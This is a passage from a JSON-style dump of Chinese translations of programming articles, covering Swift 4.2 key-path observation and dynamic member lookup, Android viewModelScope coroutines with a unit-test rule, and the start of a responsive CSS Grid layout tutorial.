中，你可以了解有关观察者模式的更多信息。\n\n\n然而，这里有一个与狗窝相关的用例，它适合我们的狗狗世界。如果没有强大的键值监听，捕狗者如何轻易地知道什么时候狗窝可以放入更多的狗呢？虽然许多捕狗者只是喜欢把他们发现的每只丢失的狗带回家，但这是不切实际的。\n\n因此，只想帮助狗回家的捕狗者需要知道什么时候狗窝可以放入狗。实现这一目标的第一步是创建一个 KeyPath。打开 **KennelsKeyPath** 页面，然后在 **☆Add KeyPath here** 下面添加：\n\n```swift\nlet keyPath = \\Kennels.available\n```\n\n这就是你创建 `KeyPath` 的方法。你可以在类型上使用反斜杠，后跟一系列点分隔的属性，在这种情况下能取到最后一个属性。要使用 `KeyPath` 来监听对 `available` 属性的更改，请在 **☆ Add observe method call here** 之后添加以下代码：\n\n```swift\nkennels.observe(keyPath) { kennels, change in\n  if kennels.available {\n    print(\"kennels are available\")\n  }\n}\n```\n\n点击运行，你能看到控制台的输出如下：\n\n```\nKennels are available.\n```\n\n这种方法对于确定值何时发生变化的情况也很有用。想象一下，我们居然能够调试第三方框架里对象状态的修改！当有意思的项发生变化时，可以确保你不用看到烦人的错误调用的树的输出。\n\n到现在为止你已经完成了 **KennelsKeyPath** 项目！\n\n## 理解动态成员查询\n如果你一直在紧跟 Swift 4.2 的变化，你可能听说过 **动态成员查询（Dynamic Member Lookup）**。如果没有，你在这里不仅仅只是学习这个概念。\n\n在本教程的这一部分中，你将通过一个如何创建真正的 JSON DSL（域规范语言）的示例来看到 Swift 中 **动态成员查询** 的强大功能，该示例允许调用者使用点表示法来访问来自 JSON 数据的值。\n\n**动态成员查询** 使编码人员能够对编译时不存在的属性使用点语法，而不是使用混乱的方式。简而言之，你将拥有那些属性运行时必存在的信念来编写代码，从而获得易于阅读的代码。\n\n正如 [proposal for this feature](https://github.com/apple/swift-evolution/blob/master/proposals/0195-dynamic-member-lookup.md) 和  [associated conversations in the Swift community](https://forums.swift.org/t/se-0195-introduce-user-defined-dynamic-member-lookup-types/8658/10) 中提到的，这个功能为和其他语言的互操作性提供了极大的支持，例如 Python，数据库实现者和围绕“基于字符串的” API（如 CoreImage）创建无样板包装器等。\n\n### @dynamicMemberLookup 简介\n\n打开 **DogCatcher** 页面并查看代码。在 Playground 里，`狗` 表示狗的运行有一个 `方向`。\n\n使用 `dynamicMemberLookup` 的功能，即使这些属性没有明确存在，也可以访问 `directionOfMovement` 和 `moving`。现在是时候让 ` Dog` 变的动态了。\n\n### 把 dynamicMemberLookup 添加到 Dog\n\n激活此动态功能的方法是使用注解 `@dynamicMemberLookup`。\n\n在 **☆ Add subscript method that returns a Direction here** 下添加以下代码：\n\n```swift\nsubscript(dynamicMember member: String) -> Direction {\n  if member == \"moving\" || member == \"directionOfMovement\" {\n    // Here's where you would call the motion detection library\n    // that's in another programming language such as Python\n    return randomDirection()\n  }\n  return .motionless\n}\n```\n\n现在通过取消 **☆ Uncomment this line** 下面的注释，来将标记 `dynamicMemberLookup` 添加到 `Dog` 中。\n\n你现在可以访问名为 `directionOfMovement` 或 `moving` 的属性。尝试在 **☆ Use the dynamicMemberLookup feature for dynamicDog here** 下面上添加以下内容：\n\n```swift\nlet directionOfMove: Dog.Direction = dynamicDog.directionOfMovement\nprint(\"Dog's direction of movement is \\(directionOfMove).\")\n\nlet movingDirection: Dog.Direction = dynamicDog.moving\nprint(\"Dog is moving \\(movingDirection).\")\n```\n\n运行 Playground。由于狗有时在 **左边** 且有时在 **右边**，因此你应该看到输出的前两行类似于：\n\n```\nDog's direction of movement is left.\nDog is moving left.\n```\n\n### 重载下标 (dynamicMember:)\n\nSwift 支持用不同的返回值[重载下标声明](https://developer.apple.com/library/content/documentation/Swift/Conceptual/Swift_Programming_Language/Declarations.html#//apple_ref/doc/uid/TP40014097-CH34-ID379)。在 **☆ Add subscript method that returns an Int here** 下面尝试添加返回一个 `Int` 的 `subscript`：\n\n```swift\nsubscript(dynamicMember member: String) -> Int {\n  if member == \"speed\" {\n    // Here's where you would call the motion detection library\n    // that's in another programming language such as Python.\n    return 12\n  }\n  return 0\n}\n```\n\n现在你可以访问名为 `speed` 的属性。通过在之前添加的 `movingDirection` 下添加以下内容来加快胜利速度：\n\n```swift\nlet speed: Int = dynamicDog.speed\nprint(\"Dog's speed is \\(speed).\")\n```\n\n运行 Playground，输出应该包含以下内容：\n\n```\nDog's speed is 12.\n```\n\n是不是太棒了。即使你需要访问其他编程语言（如Python），这也是一个强大的功能，可以使代码保持良好状态。如前所述，有一个问题...\n\n![](https://koenig-media.raywenderlich.com/uploads/2018/06/dog_ears_perk_up2_small.jpg)\n\n“想抓我？”我全听到了。\n\n### 给狗编译并完成代码\n\n为了换取动态运行时的特性，你无法获得依赖于 `subscript(dynamicMember:)` 功能属性的编译时检查的好处。此外，Xcode 的代码自动补全功能也无法帮助你。但好消息是专业 iOS 开发者能阅读到比他们编写的还要多的代码。\n\n**动态成员查询** 给你的语法糖只是扔掉了。这是一个很好的功能，使 Swift 的某些特定用例和语言互操作性可以让人看到并且令人愉快。\n\n### 友好的捕狗者\n\n**动态成员查询** 的原始提案解决了语言互操作性问题，尤其是对于 Python。但是，这并不是唯一有用的情况。\n\n为了演示纯粹的 Swift 用例，你将使用 **DogCatcher.xcplaygroundpage** 中的 `JSONDogCatcher` 代码。它是一个简单的结构，具有一些属性，用于处理`String`、`Int` 和 JSON 字典。使用这样的结构，你可以创建一个 `JSONDogCatcher` 并最终搜索特定的 `String` 或 `Int` 值。\n\n**传统下标方法**\n\n实现类似遍历 JSON 字典的传统方法是使用 `下标` 方法。Playground 已经包含传统的 `下标` 实现。使用 `subscript` 方法访问 `String` 或 `Int` 值通常如下所示，并且也在 Playground 中：\n\n```swift\nlet json: [String: Any] = [\"name\": \"Rover\", \"speed\": 12,\n                          \"owner\": [\"name\": \"Ms. Simpson\", \"age\": 36]]\n\nlet catcher = JSONDogCatcher.init(dictionary: json)\n\nlet messyName: String = catcher[\"owner\"]?[\"name\"]?.value() ?? \"\"\nprint(\"Owner's name extracted in a less readable way is \\(messyName).\")\n```\n\n虽然你必须遍历查询括号，引号和问号来获得其中的数据，但这很有效。\n运行 Playground，你看到的输出将会如下：\n\n```\nOwner's name extracted in a less readable way is Ms. Simpson.\n```\n\n虽然它可以解决问题，但是使用点语法就可以更轻松了。使用 **动态成员查询**，你可以深入了解多级 JSON 数据结构。\n\n**将 dynamicMemberLookup 添加到 Dog Catcher**\n就像 `Dog` 一样，是时候将 `dynamicMemberLookup` 属性添加到 `JSONDogCatcher` 结构中了。\n\n在 **☆ Add subscript(dynamicMember:) method that returns a JSONDogCatcher here** 下添加以下代码：\n\n```swift\nsubscript(dynamicMember member: String) -> JSONDogCatcher? {\n  return self[member]\n}\n```\n\n下标方法 `subscript(dynamicMember:)` 调用已存在的 `下标` 方法，但删除了使用括号和 `String` 作为键的样板代码。现在，取消在 `JSONDogCatcher` 上 标有 **☆ Uncomment this line** 的注释：\n\n```swift\n@dynamicMemberLookup\nstruct JSONDogCatcher {\n```\n\n有了这个之后，你就可以使用点语法来获得狗的速度和它主人的名字。尝试在 **☆ Use dot notation to get the owner’s name and speed through the catcher** 下添加以下代码：\n\n```swift\nlet ownerName: String = catcher.owner?.name?.value() ?? \"\"\nprint(\"Owner's name is \\(ownerName).\")\n\nlet dogSpeed: Int = catcher.speed?.value() ?? 0\nprint(\"Dog's speed is \\(dogSpeed).\")\n```\n\n运行 Playground，你会看到控制台输出了速度和狗主人的名字：\n\n```\nOwner's name is Ms. Simpson.\nDog's speed is 12.\n```\n\n现在你得到了主人的名字，狗捕手可以联系主人来让他知道他的狗被找到了！\n\n多么幸福的结局！狗和它的主人再次团聚，而且代码也看起来更整洁。通过 Swift 的动态的力量，这条活泼的狗可以回到后院去追兔子了。\n\n![](https://koenig-media.raywenderlich.com/uploads/2018/06/bunny_small.jpg)\n\n辛普森的狗喜欢追逐而不是追赶\n\n## 后记\n\n你可以使用本教程顶部的 **下载材料** 链接下载到项目的完整版本。\n\n在本教程中，你利用了 Swift 4.2 中提供的动态功能。了解了 Swift 的内省反射功能（例如 `Mirror`）自定义控制台输出，使用 KeyPath 进行 **键值监听** 和 **动态成员查找**。\n\n通过学习动态的功能，你可以清楚地看到有用的信息，拥有更易读的代码，并为你的应用程序，通用框架或者是库提供一些强大的运行时功能。\n\n深入 Mirror 的[官方文档](https://developer.apple.com/documentation/swift/mirror)和相关项目进行探索是值得的。有关 **键值监听 ** 的更多信息，请看使用 [Swift 的 iOS 设计模式](https://www.raywenderlich.com/160651/design-patterns-ios-using-swift-part-12)。想了解更多 Swift 4.2 新特性，请看 [What’s New in Swift 4.2?](https://www.raywenderlich.com/194066/whats-new-in-swift-4-2)。\n\n关于 Swift 4.2 里 **动态成员查找** 功能，查看 Swift 提案 [SE-0195: “Introduce User-defined ‘Dynamic Member Lookup’ Types”](https://github.com/apple/swift-evolution/blob/master/proposals/0195-dynamic-member-lookup.md)，其中介绍了 `dynamicMemberLookup` 注解和潜在用例。在一个相关的说明中，一个值得关注的 Swift 提案 [SE-216: “Introduce User-defined Dynamically ‘callable’ Types](https://github.com/apple/swift-evolution/blob/master/proposals/0216-dynamic-callable.md) 是 **动态成员查找** 的近亲，其中介绍了  `dynamicCallable` 注解。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/easy-coroutines-in-android-viewmodelscope.md",
    "content": "> * 原文地址：[Easy Coroutines in Android: viewModelScope](https://medium.com/androiddevelopers/easy-coroutines-in-android-viewmodelscope-25bffb605471)\n> * 原文作者：[Manuel Vivo](https://medium.com/@manuelvicnt)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/easy-coroutines-in-android-viewmodelscope.md](https://github.com/xitu/gold-miner/blob/master/TODO1/easy-coroutines-in-android-viewmodelscope.md)\n> * 译者：[twang1727](https://github.com/twang1727)\n\n# Android中的简易协程：viewModelScope\n\n![](https://cdn-images-1.medium.com/max/2560/1*8Dyf1lQkPqZa08juZk6lKw.png)\n\n[Virginia Poltrack](https://twitter.com/vpoltrack) 绘图\n\n取消不再需要的协程（coroutine）是件容易被遗漏的任务，它既枯燥又会引入大量模版代码。`viewModelScope` 对[结构化并发](https://kotlinlang.org/docs/reference/coroutines/basics.html#structured-concurrency) 的贡献在于将一项[扩展属性](https://kotlinlang.org/docs/reference/extensions.html#extension-properties)加入到 ViewModel 类中，从而在 ViewModel 销毁时自动地取消子协程。 \n\n**声明**：`viewModelScope` 将会在尚在 alpha 阶段的 AndroidX Lifecycle v2.1.0 中引入。正因为在 alpha 阶段，API 可能会更改，可能会有 bug。点[这里](https://issuetracker.google.com/issues?q=componentid:413132)报错。\n\n### ViewModel的作用域\n\n[CoroutineScope](https://kotlin.github.io/kotlinx.coroutines/kotlinx-coroutines-core/kotlinx.coroutines/-coroutine-scope/) 会跟踪所有它创建的协程。因此，当你取消一个作用域的时候，所有它创建的协程也会被取消。当你在 [ViewModel](https://developer.android.com/topic/libraries/architecture/viewmodel) 中运行协程的时候这一点尤其重要。如果你的 ViewModel 即将被销毁，那么它所有的异步工作也必须被停止。否则，你将浪费资源并有可能泄漏内存。如果你觉得某项异步任务应该在 ViewModel 销毁后保留，那么这项任务应该放在应用架构的较低一层。\n\n创建一个新作用域，并传入一个将在 `onCleared()` 方法中取消的 [SupervisorJob](https://kotlin.github.io/kotlinx.coroutines/kotlinx-coroutines-core/kotlinx.coroutines/-supervisor-job.html)，这样你就在 ViewModel 中添加了一个 CoroutineScope。此作用域中创建的协程将会在 ViewModel 使用期间一直存在。代码如下：\n\n```\nclass MyViewModel : ViewModel() {\n\n    /**\n     * 这是此 ViewModel 运行的所有协程所用的任务。\n     * 终止这个任务将会终止此 ViewModel 开始的所有协程。\n     */\n    private val viewModelJob = SupervisorJob()\n    \n    /**\n     * 这是 MainViewModel 启动的所有协程的主作用域。\n     * 因为我们传入了 viewModelJob，你可以通过调用viewModelJob.cancel() \n     * 来取消所有 uiScope 启动的协程。\n     */\n    private val uiScope = CoroutineScope(Dispatchers.Main + viewModelJob)\n    \n    /**\n     * 当 ViewModel 清空时取消所有协程\n     */\n    override fun onCleared() {\n        super.onCleared()\n        viewModelJob.cancel()\n    }\n    \n    /**\n     * 没法在主线程完成的繁重操作\n     */\n    fun launchDataLoad() {\n        uiScope.launch {\n            sortList()\n            // 更新 UI\n        }\n    }\n    \n    suspend fun sortList() = withContext(Dispatchers.Default) {\n        // 繁重任务\n    }\n}\n```\n\n当 ViewModel 销毁时后台运行的繁重操作会被取消，因为对应的协程是由这个 `uiScope` 启动的。\n\n但在每个 ViewModel 中我们都要引入这么多代码，不是吗？我们其实可以用 `viewModelScope` 来进行简化。\n\n### viewModelScope 可以减少模版代码\n\n[AndroidX lifecycle v2.1.0](https://developer.android.com/jetpack/androidx/releases/lifecycle) 在 ViewModel 类中引入了扩展属性 `viewModelScope`。它以与前一小节相同的方式管理协程。代码则缩减为：\n\n```\nclass MyViewModel : ViewModel() {\n  \n    /**\n     * 没法在主线程完成的繁重操作\n     */\n    fun launchDataLoad() {\n        viewModelScope.launch {\n            sortList()\n            // 更新 UI\n        }\n    }\n  \n    suspend fun sortList() = withContext(Dispatchers.Default) {\n        // 繁重任务\n    }\n}\n```\n\n所有的 CoroutineScope 创建和取消步骤都为我们准备好了。使用时只需在 `build.gradle` 文件导入如下依赖：\n\n```\nimplementation “androidx.lifecycle.lifecycle-viewmodel-ktx$lifecycle_version”\n```\n\n我们来看一下底层是如何实现的。\n\n###  深入viewModelScope\n\n[AOSP有分享](https://android.googlesource.com/platform/frameworks/support/+/refs/heads/androidx-master-dev/lifecycle/viewmodel/ktx/src/main/java/androidx/lifecycle/ViewModel.kt)的代码。`viewModelScope` 是这样实现的：\n\n```\nprivate const val JOB_KEY = \"androidx.lifecycle.ViewModelCoroutineScope.JOB_KEY\"\n\nval ViewModel.viewModelScope: CoroutineScope\n    get() {\n        val scope: CoroutineScope? = this.getTag(JOB_KEY)\n        if (scope != null) {\n            return scope\n        }\n        return setTagIfAbsent(JOB_KEY,\n            CloseableCoroutineScope(SupervisorJob() + Dispatchers.Main))\n    }\n```\n\nViewModel 类有个 `ConcurrentHashSet` 属性来存储任何类型的对象。CoroutineScope 就存储在这里。如果我们看下代码，`getTag(JOB_KEY)` 方法试图从中取回作用域。如果取回值为空，它将以前文提到的方式创建一个新的 CoroutineScope 并将其加标签存储。\n\n当 ViewModel 被清空时，它会运行 `clear()` 方法进而调用如果不用 viewModelScope 我们就得重写的 `onCleared()` 方法。在 `clear()` 方法中，ViewModel 会取消 `viewModelScope` 中的任务。[完整的 ViewModel 代码在此](https://android.googlesource.com/platform/frameworks/support/+/refs/heads/androidx-master-dev/lifecycle/viewmodel/src/main/java/androidx/lifecycle/ViewModel.java)，但我们只会讨论大家关心的部分：\n\n```\n@MainThread\nfinal void clear() {\n    mCleared = true;\n    // 因为 clear() 是 final 的，这个方法在模拟对象上仍会被调用，\n    // 且在这些情况下，mBagOfTags 为 null。但它总会为空，\n    // 因为 setTagIfAbsent 和 getTag 不是\n    // final 方法所以我们不用清空它。\n    if (mBagOfTags != null) {\n        for (Object value : mBagOfTags.values()) {\n            // see comment for the similar call in setTagIfAbsent\n            closeWithRuntimeException(value);\n        }\n    }\n    onCleared();\n}\n```\n\n这个方法遍历所有对象并调用 `closeWithRuntimeException`，此方法检查对象是否属于 `Closeable` 类型，如果是就关闭它。为了使作用域被 ViewModel 关闭，它应当实现 `Closeable` 接口。这就是为什么 `viewModelScope` 的类型是 **`CloseableCoroutineScope`**，这一类型扩展了 `CoroutineScope`、重写了 `coroutineContext` 并且实现了 `Closeable` 接口。\n\n```\ninternal class CloseableCoroutineScope(\n    context: CoroutineContext\n) : Closeable, CoroutineScope {\n  \n    override val coroutineContext: CoroutineContext = context\n  \n    override fun close() {\n        coroutineContext.cancel()\n    }\n}\n```\n\n### 默认使用 Dispatchers.Main\n\n`Dispatchers.Main` 是 `viewModelScope` 的默认 [CoroutineDispatcher](https://kotlin.github.io/kotlinx.coroutines/kotlinx-coroutines-core/kotlinx.coroutines/-coroutine-dispatcher/index.html)。\n\n```\nval scope = CloseableCoroutineScope(SupervisorJob() + Dispatchers.Main)\n```\n\n`Dispatchers.Main` 在此合用是因为 ViewModel 与频繁更新的 UI 相关，而用其他的派发器\b就会引入至少\b2\b个线程切换。考虑到挂起方法自身有线程封闭机制，使用其他派发器并不合适，因为我们不想去取代 ViewModel 已有的功能。\n\n### 单元测试 viewModelScope\n\n`Dispatchers.Main` 利用 Android 的 `Looper.getMainLooper()` 方法在 UI 线程执行代码。这个方法在 Instrumented Android 测试中可用，在单元测试中不可用。\n\n借用 `org.jetbrains.kotlinx:kotlinx-coroutines-test:$coroutines_version` 库，调用 `Dispatchers.setMain` 并传入一个 singleThreadExecutor 来替换主派发器。不要用`Dispatchers.Unconfined`，它会破坏使用 `Dispatchers.Main` 的代码的所有假设和时间线。因为单元测试应该在隔离状态下运行完好且不造成任何副作用，所以当测试完成时，你应该调用 `Dispatchers.resetMain()` 来清理执行器。\n\n你可以用以下体现这一逻辑的 JUnitRule 来简化你的代码。\n\n```\n@ExperimentalCoroutinesApi\nclass CoroutinesMainDispatcherRule : TestWatcher() {\n  \n  private val singleThreadExecutor = Executors.newSingleThreadExecutor()\n  \n  override fun starting(description: Description?) {\n      super.starting(description)\n      Dispatchers.setMain(singleThreadExecutor.asCoroutineDispatcher())\n  }\n  \n  override fun finished(description: Description?) {\n      super.finished(description)\n      singleThreadExecutor.shutdownNow()\n      Dispatchers.resetMain()\n  }\n}\n```\n\n现在，你可以把它加入你的单元测试了。\n\n```\nclass MainViewModelUnitTest {\n  \n    @get:Rule\n    var coroutinesMainDispatcherRule = CoroutinesMainDispatcherRule()\n  \n    @Test\n    fun test() {\n        ...\n    }\n}\n```\n\n请注意这是有可能变的。[TestCoroutineContext](https://kotlin.github.io/kotlinx.coroutines/kotlinx-coroutines-core/kotlinx.coroutines.test/-test-coroutine-context/) 与结构化并发集成的工作正在进行中，详细信息请看这个 [issue](https://github.com/Kotlin/kotlinx.coroutines/issues/541)。\n\n* * *\n\n如果你使用 ViewModel 和协程, 通过 `viewModelScope` 让框架管理生命周期吧！不用多考虑了！\n\n[Coroutines codelab](https://codelabs.developers.google.com/codelabs/kotlin-coroutines) 已经更新并使用它了。学习一下怎样在 Android 应用中使用协程吧。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/easy-responsive-modern-css-grid-layout.md",
    "content": "> * 原文地址：[Easy and Responsive Modern CSS Grid Layout](https://www.sitepoint.com/easy-responsive-modern-css-grid-layout/?utm_source=mobiledevweekly&utm_medium=email)\n> * 原文作者：[Ahmed Bouchefra](https://www.sitepoint.com/author/abouchefra/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/easy-responsive-modern-css-grid-layout.md](https://github.com/xitu/gold-miner/blob/master/TODO1/easy-responsive-modern-css-grid-layout.md)\n> * 译者：[MeFelixWang](https://github.com/MeFelixWang)\n> * 校对者：[CoolRice](https://github.com/CoolRice)\n\n# 简单的响应式现代 CSS 网格布局\n\n**在本文中，我们将展示如何创建响应式现代 CSS 网格布局，演示如何在旧浏览器上使用降级代码，如何逐步添加 CSS 网格，如何使用对齐属性重新构建小型设备的布局以及居中元素。**\n\n在之前的[文章](https://www.sitepoint.com/easy-responsive-css-grid-layouts/)中，我们探索了四种不同的技术，可以轻松构建响应式网格布局。那篇文章是在 2014 年写的 —— 在 CSS 网格可用之前 —— 因此在本教程中，我们将使用类似的 HTML 结构，但使用现代 CSS 网格布局。\n\n在本教程中，我们将使用浮动来创建一个带有基本布局的演示项目，然后使用 CSS 网格对其进行增强。我们将演示许多有用的实用工具，例如居中元素，跨越元素，以及通过重新定义网格区域和使用媒体查询轻松更改小型设备上的布局。你可以在此 pen 中找到代码：[https://codepen.io/SitePoint/pen/OweYNp](https://codepen.io/SitePoint/pen/OweYNp)\n\n## 响应式现代 CSS 网格布局\n\n在我们开始创建响应式网格演示项目之前，首先介绍一下 CSS 网格。\n\nCSS 网格是一个功能强大的二维系统，在 2017 年被添加到大多数现代浏览器中。它极大地改变了我们创建 HTML 布局的方式。网格布局允许我们在 CSS 而不是 HTML 中创建网格结构。\n\n除了 IE11 之外，大多数现代浏览器都支持 CSS 网格，IE11 支持可能产生一些问题的旧版标准。你可以使用 [caniuse.com](https://caniuse.com/#feat=css-grid) 来检查支持情况。\n\n网格布局有一个 `display` 属性为 `grid` 或 `inline-grid` 的父容器。容器的子元素是网格项，由强大的网格算法隐式定位。你还可以应用不同的类来控制网格项的放置，尺寸，位置和其他方面的东西。\n\n让我们从一个基本的 HTML 页面开始。创建 HTML 文件并添加以下内容：\n\n```\n<header>\n    <h2>CSS Grid Layout Example</h2>\n</header>\n<aside>\n  .sidebar\n</aside>\n\n<main>\n  <article>\n    <span>1</span>\n  </article>\n  <article>\n    <span>2</span>\n  </article>\n  <!--... -->\n  <article>\n    <span>11</span>\n  </article>\n</main>\n\n<footer>\n  Copyright 2018\n</footer>\n```\n\n我们使用 HTML 语义标签来定义页面的头部，侧边栏，主体和页脚部分。在主体部分中，我们使用 `<article>` 标签添加一组子项。`<article>` 是一个 HTML5 语义标签，可用于包装独立和自包含的内容。单个页面可以包含任意数量的 `<article>` 标签。\n\n这是此阶段页面的屏幕截图：\n\n![The basic HTML layout so far](https://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2018/08/1534467147basic-html.png)\n\n接下来，让我们添加基本的 CSS 样式。在文档的头部添加 `<style>` 标签并添加以下样式：\n\n```\nbody {\n  background: #12458c;\n  margin: 0rem;\n  padding: 0px;\n  font-family: -apple-system, BlinkMacSystemFont,\n            \"Segoe UI\", \"Roboto\", \"Oxygen\", \"Ubuntu\", \"Cantarell\",\n            \"Fira Sans\", \"Droid Sans\", \"Helvetica Neue\",\n            sans-serif;\n}\n\nheader {\n  text-transform: uppercase;\n  padding-top: 1px;\n  padding-bottom: 1px;\n  color: #fff;\n  border-style: solid;\n  border-width: 2px;\n}\n\naside {\n  color: #fff;\n  border-width:2px;\n  border-style: solid;\n  float: left;\n  width: 6.3rem;\n}\n\nfooter {\n  color: #fff;\n  border-width:2px;\n  border-style: solid;\n  clear: both;\n}\n\nmain {\n  float: right;\n  width: calc(100% - 7.2rem);\n  padding: 5px;\n  background: hsl(240, 100%, 50%);\n}\n\nmain > article {\n  background: hsl(240, 100%, 50%);\n  background-image: url('https://source.unsplash.com/daily');\n  color: hsl(240, 0%, 100%);\n  border-width: 5px;\n}\n```\n\n这是一个小型演示页面，因此我们将直接设置标签样式以提高可读性，而不是应用类命名系统。\n\n我们使用浮动将侧边栏定位到左侧，将主体部分定位到右侧，将侧边栏的宽度设置为固定的 **6.3rem**。然后我们使用 CSS `calc()` 函数来计算并设置主体部分可用的剩余宽度。主体部分包含一些垂直排列的子项。\n\n![A gallery of items organized as vertical blocks](https://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2018/08/1534467330gallery-1024x249.png)\n\n布局并不完美。例如，侧边栏与主体内容部分的高度并不相同。有各种 CSS 技术可以解决这些问题，但大多数都是 hack 或变通方法。由于此布局是网格的降级，因此快速减少的用户也可以看到效果。降级是可用的，足够了。\n\n最新版本的 Chrome、Firefox、Edge、Opera 和 Safari 都支持 CSS 网格，这意味着如果你的访问者使用这些浏览器，则无需提供降级。你还需要考虑常青浏览器。最新版本的 Chrome、Firefox、Edge 和 Safari 是**常青浏览器**。也就是说，它们会在不提示用户的情况下自动静默更新。为确保你的布局适用于每个浏览器，你可以从默认的基于浮动的降级开始，然后使用渐进增强技术应用现代网格布局。那些使用旧浏览器的用户将无法获得相同的体验，但这样足够了。\n\n## 渐进增强：你不必全部覆盖\n\n在降级布局的顶部添加 CSS 网格布局时，实际上不需要覆盖所有标签或使用完全独立的 CSS 样式：\n\n* 在不支持 CSS 网格的浏览器中，你添加的网格属性将被忽略。\n* 如果你使用浮动来布置元素，请记住网格项优先于浮动项。也就是说，如果将 `float: left|right` 样式添加到也是网格元素的元素（具有 `display: grid` 样式的父元素的子元素）中，则将忽略浮动以支持网格。\n* 可以使用 `@supports` 规则在 CSS 中检查特定功能的支持情况。这允许我们在必要时覆盖降级样式，而旧浏览器会忽略 `@supports` 代码块。\n\n现在，让我们在页面中添加 CSS 网格。首先，我们让 `<body>` 成为一个网格容器并设置网格列，行和区域：\n\n```\nbody {\n  /*...*/\n  display: grid;\n  grid-gap: 0.1vw;\n  grid-template-columns: 6.5rem 1fr;\n  grid-template-rows: 6rem 1fr 3rem;\n  grid-template-areas: \"header   header\"\n                       \"sidebar content\"\n                       \"footer footer\";  \n}\n```\n\n我们使用 `display:grid` 属性将 `<body>` 标记为网格容器。将网格 gap 设为 `0.1vw`。gap 允许你在网格单元格之间创建间距，而不是使用外边距。\n\n我们用 `grid-template-columns` 来添加两列。第一列宽度固定为 `6.5rem`，第二列为剩余宽度。`fr` 是一个小数单位，`1fr` 等于可用空间的一部分。\n\n接下来，我们用 `grid-template-rows` 添加三行。第一行高度固定为 `6rem`，第三行高度固定为 `3rem`，剩余可用空间（`1fr`）指定给第二行。\n\n然后我们用 `grid-template-areas` 将由列和行的交集产生的虚拟单元格分配给区域。现在我们需要使用 `grid-area` 实际定义区域模板中指定的区域：\n\n```\nheader {\n  grid-area: header;\n  /*...*/\n}\naside {\n  grid-area: sidebar;\n  /*...*/\n}\nfooter {\n  grid-area: footer;\n  /*...*/\n}\nmain {\n  grid-area: content;\n  /*...*/\n}\n```\n\n我们的大多数降级代码对 CSS 网格没有任何副作用，除了主体部分的宽度 `width: calc(100% - 7.2rem);`，它在减去侧边栏的宽度加上外边距/内边距后计算主体部分的剩余宽度。\n\n这是结果的屏幕截图。注意主体区域并没有占满剩余的全部宽度：\n\n![Progressive layout with current grid settings](https://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2018/08/1534468684current-grid-1024x665.png)\n\n要解决此问题，我们可以在支持网格时添加 `width: auto;`：\n\n```\n@supports (display: grid) {\n  main {\n    width: auto;\n  }\n}\n```\n\n这是结果的屏幕截图：\n\n![The effect of adding width: auto](https://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2018/08/1534469049adding-width-auto-1024x667.png)\n\n## 添加嵌套网格\n\n网格子项可以是网格容器本身。让我们将主体部分作为一个网格容器：\n\n```\nmain {\n  /*...*/\n  display: grid;  \n  grid-gap: 0.1vw;\n  grid-template-columns: repeat(auto-fill, minmax(12rem, 1fr));\n  grid-template-rows: repeat(auto-fill, minmax(12rem, 1fr));\n}\n```\n\n我们将网格 gap 设为 `0.1vw` 并使用 `repeat(auto-fill, minmax(12rem, 1fr));` 函数定义列和行。`auto-fill` 选项会尝试使用尽可能多的列或行填充可用空间，必要时会创建隐式列或行。如果要将可用列或行放入可用空间，则需要使用 `auto-fit`。详情请阅读 [`auto-fill` 和 `auto-fit` 的差异](https://css-tricks.com/auto-sizing-columns-css-grid-auto-fill-vs-auto-fit/)。\n\n这是结果的屏幕截图：\n\n![A nested grid](https://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2018/08/1534469316nested-grid-1024x666.png)\n\n## 使用网格 `grid-column`，`grid-row` 和 `span` 关键词\n\nCSS 网格提供了 `grid-column` 和 `grid-row`，它们允许你使用网格线在父网格中对网格项进行定位。它们是以下属性的简写：\n\n*   `grid-row-start`: 指定网格行中网格项的起始位置\n*   `grid-row-end`: 指定网格行中网格项的结束位置\n*   `grid-column-start`: 指定网格列中网格项的起始位置\n*   `grid-column-end`: 指定网格列中网格项的结束位置。\n\n你还可以使用关键字 `span` 